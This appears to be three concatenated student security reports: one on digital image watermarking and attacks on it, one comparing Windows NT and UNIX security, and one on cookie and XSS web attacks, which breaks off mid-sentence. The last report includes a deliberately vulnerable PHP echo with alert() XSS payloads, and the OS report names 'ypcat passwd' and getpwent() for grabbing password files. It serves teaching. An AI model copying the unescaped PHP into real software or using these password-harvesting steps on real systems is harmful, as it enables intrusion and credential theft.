A d i g i t a l w a t e r m a r k i s c a l l e d 
imperceptible if the marked signal is 
invisible after applying to the original 
cover signal. 

Perceptible watermark  

A digital watermark is called perceptible 
if it is visible (e.g. Network Logo, 
Content Bug, Codes, Opaque images.) 

Perceptual watermark  

This type of watermark uses the 
limitations of human perception to be 
imperceptible. 

1.4.3 Classification based on Capacity 

Capacity refers to the maximum length of 
message that can be embedded into the 
image and extracted without error. Base 
on this, we can divide watermarks into: 

Zero-bit watermark 

The message is conceptually zero-bit long 
and the system is designed in order to 
detect the presence (represented by 1) or 
the absence (represented by 0) of the 
watermark in the marked object.  
Non-zero-bit watermark 
The message is an n-bit-long stream 
! , w i t h 
!  or !  and is 
modulated in the watermark.  !

Considering these three properties, a good 
digital watermark should have high 
capacity, high robustness, and low visibility. 
As for copyright protection, the most 
important property should be high 
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robustness, thus, we will discuss more 
about robust watermark in next section.  
1.5 Benchmarks of watermarking [1] 
In our paper, we use two different 
benchmarks to assess the performance of 
the watermarking system. 

1.5.1 Peak SNR (PSNR): 
For image with 255 gray levels, the 

PSNR is defined as:  
 

!  !
1.5.2 Similarity: 

 The similarity of extracted watermark 
W1 and original watermark W is 
computed by the following formula: 

 

!  !
2. Robust watermark 

2.1 Techniques of Robust watermark 
2.1.1 LSB watermarking 
LSB is the most common algorithm 
using spatial domain watermarking. It is 
performed on grayscale images by 
modifying the least significant bits of 
bytes representing pixels. In a grayscale 
image, each pixel is represented by 1 
byte consisting of 8 bits, from the black 
which is 0 to the white which is 255. 
LSB is also one of the simplest 
a l g o r i t h m s i n i n v i s i b l e d i g i t a l 
watermarking, which means the encoded 
images are most likely not going to be 
detectable by the human retina. In Least 
Significant Bit Insertion algorithm, each 
8-bit pixel’s least significant bit is 
overwritten with a bit from the 
watermark. !

For the sake of simplicity, here we only 
use the least significant bit for 
embedding information. If the pixel 
value is 148 which is the value 
10010100 in binary and the watermark 
bit is 1, the value of the pixel will be 
10010101 in binary which is 149 in 
decimal.[7] 

!  
Figure1. An example of 1 bit LSB 

This algorithm was proposed by Kurah 
and McHughes to embed in the LSB 
and it was also known as image 
downgrading. As it only works on the 
least significant bits of each 8-bits 
pixel, the difference of encoded image 
from the original image is usually not 
noticeable by the human retina. In this 
example, only the least significant bit 
might be changed, the maximum 
possible difference of each pixel is only 
2, which is not distinguishable by 
human retina. !
G e n e r a l w o r k f l o w o f L e a s t 

Significant Bit: 
The process of Least Significant Bit is 
fairly simple and effective. [7] For n 
bits LSB algorithm: 

1. C o n v e r t R G B i m a g e t o 
grayscale image (if necessary). 

2. For each pixel in base image: 
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i. Shift watermark right 
by 8 - n bits. 

ii. Set n least significant 
bits of the base image 
to 0. 

iii. Add shifted watermark 
to the base image 

Experimental Results 
The following figure shows the result 
of experiment of performing various 
significant bit algorithms on grayscale 
images. 

!  
Figure2. Performance of significant bits 
based watermarking 

Table1. Performance of significant bits 
based watermarking 

According to the performance of various 
significant bits based watermarking, LSB 
has the higher PSNR and SM, and thus 
has the highest performance among these 
algorithms. Compared with other 
significant bits substitution, LSB has 
smallest difference from the original 
images and yet preserve the simplicity 
and invisibility of watermarking.  !
2.1.2 DCT-based watermarking 
DCT (discrete cosine transform) is a 
Fourier-related transform which expresses 
a finite sequence of data points in terms of 
a sum of cosine functions oscillating at 
different frequencies. 
In DCT-based f requency domain 
watermarking system, to watermark a host 
image, the image is first transformed by 
using DCT or FFT techniques and then 
the watermark embedded algorithm will 
be applied to get a watermarked image. To 
extract a watermark, DCT or FFT is first 
used to the watermarked image and then 
the watermark extraction algorithm is 
applied to extract out the watermark.  
The general workflow goes like this: 

!  !

PSNR(dB) SM

LSB or 1st 
Bit 
Substitution

54.87 0.9962

2nd Bit 
Substitution

45.54 0.9753

3rd Bit 
Substitution

38.25 0.9267

4th Bit 
Substitution

31.68 0.8643

5th Bit 
Substitution

25.42 0.7266

6th Bit 
Substitution

19.28 0.6825

7th Bit 
Substitution

13.21 0.6356

MSB or 8th 
Bit 
Substitution

14.3467 0.5463
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Figure3. Watermark embedding in 
frequency domain 

!  
Figure3 . Watermark detect ion/
extraction in frequency domain 
In this section, we provided some 
experiment results for a typical DCT-
based watermarking algorithm. 
Experimental Result [1] 

!                            
Original images Lena and baboon                                       

!   
Original watermark 

!   
Watermarked Lena and extracted 
watermark 

!  
Watermarked Baboon and extracted 
watermark 

Table2. Performance of DCT-based 
watermarking algorithm !

3. Common Attacks 
Nowadays, there are several kinds of attacks 
tha t watermark may be fac ing. One 
categorization of the wide class of existing 
attacks contains four classes of attacks: 
removal, geometric, cryptographic and protocol 
attacks.[2] 
    3.1 Removal Attacks 

The target of removal attacks is to 
completely remove the watermark 
information from the data without 
cracking the security of the watermarking 
algorithm. For example, it can remove 
the watermark information without the 
key used for watermark embedding. This 
removal attacks category includes 
denoising, quantization, remodulation 
and collusion attacks. These attacks may 
not damage the watermark information. 
For denoising and quantization attacks, 
they try as much as much possible 
keeping the quality of the attacked data 
high while collusion attacks are available 
only when there are several copies of 
data signed with a key or different 
watermark. The figure is the process of 

PSNR(dB) SM(W, W1)

lena 45.6740 0.9993

baboon 44.1982 0.9993
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remodula t ion a t tack . I t a ims a t 
modification of the watermark using 
modulation opposite to that used for 
watermark embedding.[2] 

!  
Figure4. Remodulation Attack 

3.2 Geometric Attacks 
Unlike removal attacks, geometric attacks 
do not remove the watermark information. 
It tries to distort the watermark detector 
synchronization with the embedded 
information. Even though the detector can 
be recovered, the cost and complexity may 
make it impractical. !
3.3 Cryptographic Attacks 
Cryptographic attacks try to cracking the 
security methods in watermarking schemes 
and then remove the watermarking 
information or embed faked watermarks. 
One method is brute-force search for the 
embedded information and another is 
called Oracle attack. Oracle attack is used 
to create a non-watermarked signal when 
there is a detector device. However, the 
complexity of all kinds of cryptographic 
attacks is very high. It is not practical due 
to this reason. !
3.4 Protocol Attacks 
Protocol attacks aim at attacking the entire 
concept of the watermarking application.
[2] There are two types of protocol attacks. 

One is considering the concept of invertible 
watermarks. The attacker tries to subtract 
his own watermark from the data and claim 
to be the owner of the data. Then the 
ownership of the data will be ambiguous. 
Therefore, for the copyright protection, 
watermarks must be noninvertible. Another 
type of protocol attacks is called copy 
attack. It tries to estimate a watermark from 
the watermarked data and copy it to other 
data, which is called target data. Then the 
copied watermark is adapted to the target 
data so that it can satisfy the target data 
imperceptibility. For images, contrast 
sensitivity and texture masking phenomena 
of the HVS can be exploited.[2] The figure 
shows the process of copy attack. 

!  
Figure5. Copy Attack 
4. Evaluation 

4.1 LSB watermarking 
4.1.1 Advantages 
The principle of encoding uses the Least 
Significant Bit of each of these bytes, the 
bits on the far right side. If data is 
encoded to only the last one to four 
significant bits (which are the first and 
second LSB) of each color component it 
is most likely not going to be detectable; 
a l s o , a s w e c a n s e e f r o m t h e 
experimental results, LSB results in high 
PSNR and high similarities because it is 
performed on the several rightmost bits. 
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The human retina becomes the limiting 
factor in viewing pictures. In addition, It 
is also simple to understand and easy to 
implement. !
4.1.2 Vulnerability 
LSB is comparatively simple, but it 
lacks the basic robustness. It can be 
destroyed by lossy compression. An 
even easier and better attack is just to set 
all the LSB bits to ‘1’ to fully defeating 
the watermark at the cost of negligible 
perceptual impact on the cover object.[8]  
What’s more, it would be very easy for 
an intermediate party to alter the 
watermark once the algorithm was 
discovered. Therefore, generally 
speaking, LSB is not resistant to attacks 
and may not be safe enough to be used 
in real world watermarking. !

4.2 DCT-based watermarking 
4.2.1 Advantages 
D C T- b a s e d f r e q u e n c y d o m a i n 
watermarking techniques provides much 
more robustness than spatial domain 
watermarking techniques. And due to its 
compatibility with the existing image 
compression standards, in particular, the 
JPEG standard, it becomes particularly 
useful in practical applications on the 
Internet. In addition, many experiment 
results have shown that this technique 
has a satisfactory performance under 
image cropping and JPEG lossy 
compression. !
4.2.2 Vulnerability 
However, DCT-based frequency domain 
w a t e rmark ing t e chn iques w hen 
c o m p a r e d w i t h s p a t i a l d o m a i n 
watermarking techniques is not as 
simple or as low computing complexity. 

!
5. Conclusion 
In this report, we explored different 
techniques in digital image authentication for 
copyright protection as well as some common 
attacks. After research, we found that the 
most commonly used technique is robust 
digital watermarking and we mainly 
discussed about Least Significant Bit(LSB) 
wa te rmark ing and Disc re t e Cos ine 
Transform(DCT) based watermarking 
technique. Based on the experimental results, 
both of them are applicable to grayscale 
images, and DCT is also applicable to colour 
images. Moreover, DCT is particularly useful 
in the JPEG standard. DCT is also more 
stable and attack resistant than LSB, while 
LSB is much easier to be attacked. 
Considering implementation, however, LSB 
is much easier to implement and modify. 
Thus, LSB can be used in some small private 
network in small businesses or some 
experiments requiring using watermarking. In 
conclusion, DCT is prefered in real world 
watermarking used for copyright protection.  
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ABSTRACT 

In this paper, we compare the security features of Windows NT 

and UNIX/MAC and explore techniques used for protecting each 

OS.  For each technique, we have outlined the underlying 

methods used, and evaluated the strengths and weaknesses. 

General Terms 

Algorithms, Documentation, Performance, Design, Security, 

Verification. 

1. INTRODUCTION 
Operating system (OS) manages computer hardware directly and 

provides services for computer programs. It is an essential 

component of the system software in a computer system and 

applications require an operating system to run. This makes the 

security mechanisms in an operating system a key concern. In this 

paper, we would be focusing on two main operating systems, the 

Windows NT and the UNIX/MAC and analysing the techniques 

they have used to protect the OS. 

2. BACKGROUND 
The Windows NT operating system was produced by Microsoft 

and they released their first version in 1993.  It is a 

multiprocessing, multi-user operating system which has support 

for threads and processes. It is used in workstations, personal 

computers, media centers, Tablet PCs, embedded systems. The 

architecture of Windows NT is a layered model, consisting of two 

main components, the user mode and the kernel mode. While 

applications run in user mode, operating systems run in kernel 

mode. Thus, kernel mode has direct access to all memory whereas 

user mode has access only to its own address space. 

On the other hand, UNIX was first developed at AT&T's Bell 

Labs research center by Ken Thompson, Dennis Ritchie, and 

others.  It was regarded as one of the most flexible OS in the 

computer world and it still continues to be.  Unix’s open 

development model makes it  customisable with many vendors 

marketing their own, diverging, versions of the UNIX system 

optimized for their own computer architectures. This is one of the 

factors contributing to its popularity. The UNIX OS is also 

designed to let a number of programmers access the computer at 

the same time and share its resources. This real-time sharing of 

resources makes UNIX a powerful operating system.  The 

architecture of most versions of UNIX is similar to that of NT. 

UNIX OS architecture also provides two modes of operation. 

System restricts programs running in user mode from directly 

accessing hardware or resources belonging to other programs 

while code running in kernel mode can access hardware and 

resources belonging to any application, with few limitations.  

With modern NT and UNIX having similar architectures, we will 

be looking at the security mechanisms for Windows NT and 

UNIX systems that differentiate them. Differences and similarities 

between the techniques used for the protecting the OS will be 

discussed and their strengths and weaknesses will be evaluated. 

3. IDENTIFICATION 
Identification, whose main purpose is to have privilege separation, 

is usually done by having user accounts. This is to limit the access 

to the computers for different groups of people. Different group 

will have different permission to access the server computers to 

prevent unwanted personnel from breaking into the system. 

3.1 Windows 
Windows uses Security Identifier (SID), which is a unique value 

that is to be mapped with the username, to define integrity levels. 

Token Groups field is used to store the integrity level. These 

Token Groups that consists of different SIDs and their attributes 

allows them to uniquely identify the user account and their group 

memberships, hence their accessibility to the system. SID is 
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created whenever a new account is created and the account is 

associated to the SID. The value of SID is never repeated, hence, 

different account (both for local account or group and domain 

account or group) will have different SIDs. When there is a 

request from the user to access a resource, Access Control List 

(ACL) will check the SID to decide whether that particular user is 

part of a group that is allowed to perform that action. 

3.1.1 Strengths 
The users can change their user account name while everything 

else is kept the same. This is because any account created has only 

one single SID for life, hence when the same user want to rename 

the account, he can do so without problems and without affecting 

any security attributes. 

3.1.2 Weaknesses 
Even though there is some privilege separation in Windows at the 

architectural level, it still depends on the user-level features. 

Hence the effectiveness of this privilege separation is based on the 

behavior of the user whether they use it as intended. Users could 

configure their account and switch it to owner even though they 

are first logged in as a normal user account, hence the security is 

not 100% protected and is open to attack against malware. 

3.2 UNIX/Mac 
Unix identifies its users using user identifier (UID) which is is an 

unsigned integer chosen by system administrator when an account 

is created. UIDs are not necessarily different for each new user. 

The UID determines the user’s system privileges. The superuser  

or the system administrator (can be root, administrator or 

supervisor) have the smallest UID which is zero, while the user 

with no privileged group usually get the largest possible UID. The 

superuser/root can bypass most security restrictions. There is also 

Group ID (GID) which is used to identify the groups that the users 

belong to. 

3.2.1 Strengths 
In Unix, there are specialized user accounts that prevent malware 

that is trying to enter the system via network. Under this 

specialized user accounts, any user can only access the file that 

they are have permission on. The same goes to the attacker, he 

will not be able to go further than the system he is allowed to be 

on. Many hacking activities need administrative access to be able 

to cause a malicious result. For example, keyloggers attack will 

not work on Unix when the attacker is logged in via unprivileged 

user account because it does not have administrator-level 

components to insert keylogger into the system. 

3.2.2 Weaknesses 
A root user will be able to do anything with the system including 

viewing all files of all the users, running network services, 

running all of the programs, etc. If the attacker managed to attack 

the root, the attacker will be able to have unrestricted privileges to 

the whole system. 

4. AUTHENTICATION 

4.1 Windows 
During login, user authentication is done using passwords. After 

the user enters the password, Windows NT hashes the password 

and forwards it to the Local Security Authority (LSA) of the local 

machine. The LSA calls an authentication package which uses the 

records stored in the Security Accounts Manager (SAM) database. 

SAM provides validation service for the LSA. Once validation is 

complete and the access is allowed, SAM provides the LSA with 

the user's Security Identifier (SID). LSA creates an access token 

with the granted access rights and passes it back to the login 

process. The login process calls for a new process for the user to 

which the user's token is attached. 

4.1.1  Strengths 
The SAM database contains information about the users and 

groups in the system.  It stores two hashed versions of the 

password, a LAN Manager (LM)-hash and a native NT format 

hash. The NT-hash is derived using the MD4 encryption 

algorithm and the LM-hash is derived using a variant of DES. 

Thus, even if an attacker is able to retrieve some passwords from 

the SAM database, these hashes make it arbitrarily hard to reverse 

to get back the password in plain text. 

4.1.2 Weaknesses 
If an attacker is able to get hold of a copy of the SAM database, 

although it would be arbitrarily hard to reverse hashed passwords 

to get back the password in plain text, the attacker could always 

do brute force cracking or dictionary cracking to find a match 

against the hashed password.  

Also, LM-hash has a weaker encryption algorithm than the NT-

hash. In LM-hash only upper-case characters are allowed and the 

password is padded with NULLs if it is not 14 characters long. 

Thus, having a password of 7 characters or less of A-Z, the 

different passwords to try would be 267 which is a large number 

but definitely smaller than trying out hash collisions. Thus, this 

makes the password guessable if the password contains less than 

eight characters. 

Lastly, the SAM hashes are an example of open design failure. 

The principle of open design states that the system’s security 

should not depend on such secrecy of its design or 

implementation. The strength of the Microsoft hash scheme 

security depended on the ignorance of user and could be easily 

defeated if the user is a knowledgeable person on the OS. 

4.2 UNIX/Mac 
UNIX also uses password verification to authenticate a user's 

identity. After the user enters the password, UNIX encrypts it 

using a modified DES algorithm. This encrypted password is then 

compared against the encrypted password stored in the public 

readable file, /etc/passwd. If the two passwords match, the user is 

validated to be a legit user of the system.  

Later versions of UNIX have made use of password shadowing. 

The idea is to move the encrypted passwords to /etc/shadow 

where it is not readable by the normal users and replacing the 

password field in /etc/passwd to another symbol, for example "x" 

or asterisks (*), instead of the encrypted password. 

4.2.1 Strengths 
The use of /etc/shadow has increased the security level of 

passwords by restricting normal users from accessing the hashed 

password data. This data is kept in files owned by and accessed 

only by the super users. This safeguards the password file, making 

it less susceptible for an attacker to obtain it and perform brute 

force attacks or dictionary cracking attacks. 
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4.2.2 Weaknesses 
The openness of UNIX systems is what has led to an increased 

number of hackers trying to crack its security. UNIX systems are 

unlike others in the commercial environment whose data is well 

protected. 

Initially, the encrypted passwords were stored in /etc/passwd 

which was readable by everyone. Although the encryption 

function for creating passwords in UNIX is a one-way function, 

making it arbitrarily hard to reverse to get back the password in 

plain text, attackers could always do brute force cracking or 

dictionary cracking to find a match against the encrypted 

password. 

Thus, in the versions of UNIX without password shadowing, an 

attacker could easily get the password file, /etc/passwd, by using 

the command `ypcat passwd' and perform the attacks mentioned 

above to crack the passwords.  

Although, password shadowing was introduced to solve the 

problem above, not allowing normal users to do a simple ‘ypcat’ 

to obtain encrypted passwords, attackers have made use of other 

programs to obtain the passwords. By write a program that uses 

successive calls to getpwent() and uploading it to the server they 

want to hack, they are able to see the password list or even save it 

to a file. 

5. ACCESS CONTROLS 

5.1 Windows 
Objects are controlled by Access Control Lists (ACLs), each with 

a number of Access Control Entries (ACEs). Each user/group has 

an ACE in the ACL of an object, which determines the 

permissions granted to that user/group regarding that object. This 

is done through a security identifier (SID) associated with each 

user/group. The different groups are 

 Creator/ Owner 

 System: the OS 

 Network 

 Interactive: local users 

 Everyone 

5.1.1 Strengths 
Windows NT by and large follows the principle of fail-safe 

defaults. The permission level of No Access supersedes other 

permission levels, in the event of a conflict of permission levels. 

Users/groups who do not have an ACE in the ACL of an object 

have no access to that object.  An object with an EMPTY ACL is 

not accessible by anyone. 

When an object is created, the default ACE is that of the creator. 

The other users are added later through Discretionary Access 

Control (DAC). 

The Local Security Authority (LSA) strengthens the security of 

the system by validating the users at logon time and generating 

access tokens for access to a system object. 

5.1.2 Weaknesses 
An object with a NULL ACL is accessible by anyone and 

everyone. 

The access control mechanisms cannot protect the objects from a 

large number of operations due to the limited scope. Many 

properties of an object cannot be protected as part of the ACL and 

require separate protection. 

5.2 UNIX/Mac 
Every user is associated with a unique User ID (UID). The system 

admin has UID 0. Similarly every group has a unique Group ID 

(GID). A user may belong to more than one group. 

Each object (file/ directory) has a set of permissions which 

determine the actions allowed/ disallowed for each user / group. 

In the simplest case (a home desktop, for instance), each object 

has 3 sets of permissions, one set each for 

 The owner/ creator of the object 

 Members of the user’s group 

 Everyone else 

rwxr-x--x means that the owner has permissions to read, write and 

execute the file, the group members can read and execute the file 

while everyone else can only execute the file. 

chmod (abbreviation to change mode) command is used in UNIX- 

like operating systems to change access permissions to files and 

folders. Syntax: 

chmod [options] mode file1 [file2 …] 

5.2.1 Strengths 
The owner can exercise Discretionary Access Control over the file 

system, which means the owner can prevent other users from 

reading and writing to the files or even creating and deleting files 

in and from folders. 

5.2.2 Weaknesses 
The security of the entire system can be compromised if the 

system admin mistakenly gives more access to everyone than 

required. 

To delete a file, a user requires access only to the directory in 

which the file has been stored, not the file itself. This directly 

implies that if a malicious user gains access to a directory, he can 

delete important data belonging to a legitimate user. 

Unlike Windows NT that treats programs and processes as users, 

UNIX works with file attributes. If the file has been marked as 

‘suid’, any program or process can run it with the privilege of the 

owner.  

6. NETWORKING 
The application layer is an abstraction layer reserved for 

communications protocols and methods designed for 

communications across a computer network. The protocols used 

establish connections between the various nodes on a network and 

provide access to files, printers, serial ports and any other 

miscellaneous communications required. 

6.1 Windows 
Server Message Block, or as it is now known as, Common 

Internet File System (CIFS), is the application layer network 

protocol mainly used for providing shared access to resources on 

a network. Microsoft introduced SMB2 with Windows Vista, 

SMB2.1 with Windows 7 and SMB3.0 with Windows 8. 

6.1.1 Strengths 
SMB has the feature of pipelining, sending additional requests 

before response to a previous request arrives, which improves 

performance of the computer. It also allows for ‘durable file 
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handles’ which allow a connection to an SMB server to survive 

brief network outages, as are typical in a wireless network, 

without having to incur the overhead of re-negotiating a new 

session. 

6.1.2 Weaknesses 
There have been many security vulnerabilities in Microsoft’s 

SMB implementation. One of the biggest reasons for security 

issues is the lack of support for newer authentication protocols 

like NTLMv2 in preference to broken protocols like NTLMv1. In 

the case of NTLMv1, the example of a reflection attack would be 

a good study. 

Microsoft Windows computers authenticate each other using the 

NTLM protocol, a challenge-response sequence in which the 

server generates a random 8 byte challenge key that the client uses 

to send back a hashed copy of  its credentials. A normal SMB 

session setup between a client and server would proceed as 

follows: 

 Client connects to Server. 

 Server sends a challenge to Client. 

 Client computes the response to the challenge and sends 

it to Server. 

 Server performs the same calculation as the Client using 

the credentials it has stored. 

 Server compares the response to its own calculated 

value. If the two match, the connection is a success. 

During a Reflection attack, the session proceeds as follows: 

 The client (victim) initiates a connection to the server 

(attacker). 

 The attacker's system is supposed to send a challenge to 

the victim to allow the victim to authenticate. Instead, 

the attacker initiates a new connection to the victim. 

 Victim generates a challenge for the inbound 

connection from the attacker and sends it to the attacker. 

 The attacker takes the challenge received in Step 3 and 

sends it to the victim as the challenge for the connection 

the victim initiated in Step 2. 

 The victim computes the response to the challenge and 

sends it to the attacker. 

 The attacker takes the response received in Step 5 and 

returns it to the victim as the response to the connection 

initiated to the victim in Step 2. 

This kind of a reflection attack is a direct result of the SMB 

implementation by Windows. 

6.2 UNIX/Mac 
Network File System is a distributed file system protocol 

originally developed by Sun Microsystems in 1984, allowing a 

user on a client computer to access files over a network much like 

local storage is accessed. NFSv2 was the first one to be released 

as version 1 was used for development. NFSv4.1 was released in 

2010. 

6.2.1 Strengths 
NFSv4 and subsequent versions mandate strong authentication 

and integrity by adopting protocols like Kerberos. Kerberos is a 

computer network authentication protocol which works on the 

basis of 'tickets' to allow nodes communicating over a non-secure 

network to prove their identity. It provides mutual verification — 

both the user and the server can authenticate each other. This 

helps to protect against eavesdropping and replay attacks. 

NFS also supports a rich access control model via Access Control 

Lists. ACL is a list of permissions attached to an object which 

specifies which users are allowed access to the object as well as 

what actions are they allowed to perform on the object. 

6.2.2 Weakness 
‘Root squashing’ is an issue common on NFS. When a remote file 

system is shared by multiple users, a superuser, who has more 

rights than a normal user, can change file ownership, set arbitrary 

permissions and access all protected content. But users who need 

to have root access to individual workstations, that is superusers, 

may not have similar authorizations on a shared file system. Root 

squash reduces rights of the remote root, making one no longer 

superuser. The problem however is that Root squash can be easily 

turned on or off, leading to major security threats and hazards on 

the network. 

7. RELATED WORK 
Journal Article Title: A Comparative Study of Security 

Mechanism differentiation between Windows 2000 and UNIX 

Operating Systems 

Journal Article from: 

http://www.iiste.org/Journals/index.php/JIEA/article/view/1345/1

268 

From the study of the comparison between UNIX and Windows 

operating system from the journal, it is shown that Windows have 

more security problems in comparison to UNIX. This can be 

explained by the evaluation of the security techniques that we 

have done in the previous section. The journal mentioned that 

“The user-id and password protection for Windows can also be 

easily bypassed, whereas Linux offers a strong protection.” is 

explained by the identification (username) and authentication 

(password) weaknesses of Windows. The privilege separation of 

Windows at the architectural level is not good enough as the 

implementation is mostly a feature on top of the OS rather than 

being designed into the system architecture. Also, the SAM 

hashes is an open design problem. On the other hand, UNIX has a 

good architectural design, including the level of modularity in the 

system, which explain the good security protection it has. In 

windows, some applications are tied to other parts of the system, 

which is not a good practice because a minor exploitation at one 

part of the system will affect the others. Windows, however, have 

a better and more user friendly interface compared to UNIX in 

exchange of the bad system architecture design which eventually 

affects the security.  

8. CONCLUSION 
As discussed afore, both Windows NT and UNIX implement data 

and information security in their own ways. Despite best efforts of 

the designers, the loopholes or weaknesses are always found and 

parlayed by the malicious users. The mapping of the SID to the 

usernames of the users and their respective access privileges in 

Windows NT follows the design principle of separation of 

privileges, yet it is possible to exercise the rights of the system 

administrator, despite not being one. Similar attacks are possible 

in UNIX, despite the existence of separate user accounts. 
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As far as authentication is concerned, Windows NT stores two 

different hashed values of the users’ passwords in the SAM 

database – LM hashed values and the native NT hashed values. 

Despite this strong measure, if the malicious user gets hold of the 

SAM database, it is possible for him to get his hands on all the 

passwords by brute force attack on the LM hashed values. This 

attack is especially easy if the password is less than 8 characters in 

length. UNIX uses password shadowing to ensure that only the 

superusers have access to the database of passwords. But the 

hackers found a way around this as well by using programs that 

repeatedly call getpwent() and uploading them to the servers they 

wish to hack. Similar is the fate of access controls and networking 

as regards Windows NT and UNIX systems. 

Having researched on and analyzed these two systems, it is safe to 

conclude that no system is completely safe from malicious attacks. 

No matter how hard the designers try to compete with the bad 

fellows, these crooked fellows always end up working around the 

obstacles posed in their ways. 
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ABSTRACT 

This paper provides an overview of different categories of 

common web-based application attacks that included both client 

and server side. For each techniques used, we will also evaluate 

the methods used to protect user from these attacks.   

Categories and Subject Descriptors 

K.6.5 [Security and Protection]: Security, Internet 

General Terms 

Security 

Keywords 

Security, Internet, web-based attacks 

1. INTRODUCTION 
Today, web services provide user entertainment and also transfer 

information conveniently across the globe. However, it is 

important to know how hackers can make use of vulnerabilities to 

affect the availability of internet access by modify the records 

stored in server side or client side, or consume every resources of 

servers, or even gain authentication from server by using client’s 

account details. 

We will introduce each of the attacks briefly, and also ways of 

attacks and methods to protect user from these attacks. 

2. COOKIE 

2.1 Overview 
Cookies are small text files that stores user’s information so that 

website remember user’s progress like shopping cart or flash 

game saves. It can also stores user’s account details, login state, or 

preferences settings so that server won’t ask user same thing 

repeatedly. 

Generally there are two types of cookies, transient cookies and 

persistent cookies. Transient cookies, which also known as 

session cookies. It is store at temporary memory and will 

disappear after user close the browser. Html web pages can only 

response to user, but will not remember user’s previous request. 

In order to let server remember previous request such as items 

selection, browser will stores the information into their cookies so 

that when user navigate between web pages, client’s cookies can 

carry informations into next page. 

On the other hand, persistent cookies will store at user’s hard disk. 

Unlike transient cookies, expiration date is set on persistent 

cookies. Hence, these cookies will only disappear after expiration 

date or after user delete it manually. These cookies usually used 

by marketers to track user’s online activities so that they can 

release relevant flash banners or advertisement when user navigate 

to the websites that work with online advertising agency.  

2.2 Methods of Attack 

2.2.1 Redirection of homepage 
Even though cookies are just small plain text files, and unable to 

retrieve or perform any action on client’s computer, other 

malicious program may still be able to make use of cookies to 

attack the client. For example, when attacker release Trojan to 

client’s computer, Trojan will set a cookie and specify the URL of 

browser’s homepage. 

2.2.2 Harvest on cookies 
Attacker may use spyware programs to read cookies and track 

user’s activities or even retrieve user’s login details. 

CookieMonster are used to perform man-in-the-middle attack to 

capture encrypted cookies when SSL encrypted is not configured 

properly. 

It cache DNS response and track hostname that use port 443 to 

connect one of the domains. It then inject image of insecure (non-

https) of the website to trick browser to send authenticate cookies. 

2.2.3 Session hijack 
When user login websites, server will generate a session that 

provides automatic authentication for future visits to the website 

user logged in. Attacker may hijack user’s session by obtain the 

session ID and replay session to do anything that user has 

authorized to do, as known as TCP session hijacking. This session 

ID stored within cookie or URL usually.  

Cookie poisoning allow attacker to modify the cookies, and create 

digital signature to validate the content in future communication 

between sender and recipient. Cookie will be refused by server if 

signature doesn’t match (means the content modified). 

2.2.4 Flood browser with cookies 
Malicious website can set a lot of cookies, and overflow the 

maximum number of cookies that browser allowed to store. It 

tricks browser to clear previous cookies entirely in order to store 

these “new” cookies. 

2.3 Protections 
There are several ways to protect our browser from malicious use 

of cookies: 

2.3.1 Clear cookies and cache regularly 
Even though cookies and cache makes user’s life easier by reduce 

time required to login and load the websites, it is a vulnerable to 

attackers too. Users need to keep in mind that as they navigate 

websites on internet, it is possible that their computer infected by 

Trojan without their knowledge. These Trojan may masquerade 

themselves as system’s process and upload user’s cookies at the 

same time. By default, user can press Ctrl + Shift + Delete to clear 

the caches. However user can also configure browser’s settings so 

that browser will automatically clear all the cookies and caches 

after certain period of time or when the storage amount exceeds 

certain size. 
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2.3.2 Don’t let browser remember passwords for 

websites 
Popular social media like Facebook or Twitter provide checkbox 

“Remember me next time” at the login page. This is to allow user 

enter the website without enter their user id and password again. 

However it is possible for attackers to retrieve user’s account 

information if user didn’t turn on SSL encryption features of the 

websites. 

Besides, people around you can also enter your profile and make 

changes without your knowledge. 

2.3.3 Turn on SSL encryption whenever it is 

available 
It is a good practice to keep your authenticated session or cookies 

in https. Secure communication between user and websites also 

reduce the possibilities of attacks. 

2.3.4 Installation of spyware removal application 
Trojan is commonly used to retrieve user’s browser cookies. In 

order to minimize the risk, users are advised to download and 

install spyware removal application. Trojan can be detected easily 

together with their up-to-date database of antivirus or spyware 

removal. 

3. XSS 

3.1 Overview 
XSS stands for Cross-Site Scripting. It is one of the most common 

application-layer web attacks. In 2013, XSS was ranked the #3 

web application security risk by the Open Web Application 

Security Project (OWASP). In XSS attacks, the attacker can inject 

malicious code, and then send back user input data to the client 

browser so those malicious codes will execute. XSS is really 

dangerous, its severity is high, the attacker can easily retrieve the 

account information of the users even the administrators if there is 

no efficient XSS protection.  This is the basic flow of an XSS 

attack: 

 

 

Figure 1. Basic flow of XSS attack 

3.2 Types 

3.2.1 Persistent (Stored) XSS  
Attackers perform persistent XSS attack by injecting 

HTML/JavaScript code into a webpage which is then stored by 

the website. When a victim visits this affected webpage, the stored 

HTML/JavaScript code will be retrieved from database, and 

embedded into the web page HTML, finally be rendered on the 

victim’s browser. This kind of XSS attack can be very dangerous. 

Because once the scripts were successfully injected, it may work 

for a very long time so many users will be affected. Here is an 

example of non-persistent XSS attack. 

A website does not validate the user input of its registration form, 

so if the attacker enters this text into the user profile field when he 

registers his account: 

<script> alert(“XSS stored in database”);</script> 

This line of text will be stored and when other users browse the 

profile of this attacker they may suffer an XSS attack. 

3.2.2 Non-Persistent (Reflected) XSS 
Non-persistent XSS is the most common XSS attack type. The 

attacker craft URLs which contains harmful script parameters and 

then send them to the victims. Non-persistent XSS still can be 

very dangerous and now there are several ways to let these non-

persistent XSS become persistent, like using applet, the as script 

of flash, the ghost page of IE and Cross Iframe Trick. Here is an 

example of non-persistent XSS. 

index.php: 

<?php 

$name = $_GET['name']; 

echo "Welcome $name<br>"; 

?> 

Attacker can perform an XSS attack by sending such an URL to 

the victim: 

index.php?name= <script>alert('You are 

attacked!')</script> 

3.2.3 DOM based XSS  
DOM-based vulnerabilities occur in the content processing stages 

performed by the client, typically in client-side JavaScript. The 

name refers to the standard model for representing HTML or 

XML contents which is called DOM. JavaScript programs 

manipulate the state of a web page and populate it with 

dynamically-computed data primarily by acting upon the DOM 

(Mohamed, 2012). There are several methods in JavaScript need 

to be protected like .innerHTML, document.location, 

document.write(), eval(), etc. 

3.3 Protection 

3.3.1 User Protection 

3.3.1.1 Only use trusted JavaScript 
Only use trusted JavaScript: Allowing all JavaScript to run may 

open a user up to XSS attacks. The most effective method for a 

user to prevent XSS attacks is to allow JavaScript to run only if it 

comes from a domain that the user explicitly trusts.  There are 

several browser plug-ins can perform domain whitelisting, such as 

NoScript for Firefox, Whitelist for Chrome.  

3.3.1.2 Make Use of the build-in browser protection  
The popular browsers have begun to incorporate XSS protection 

inherently. For example, IE9 has a XSS filter to detect XSS 

attacks.  
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3.3.1.3 Update your application and system 

regularly 
When there are dangerous bugs found, most of the software 

company will provide updates or patches to protect their users. So 

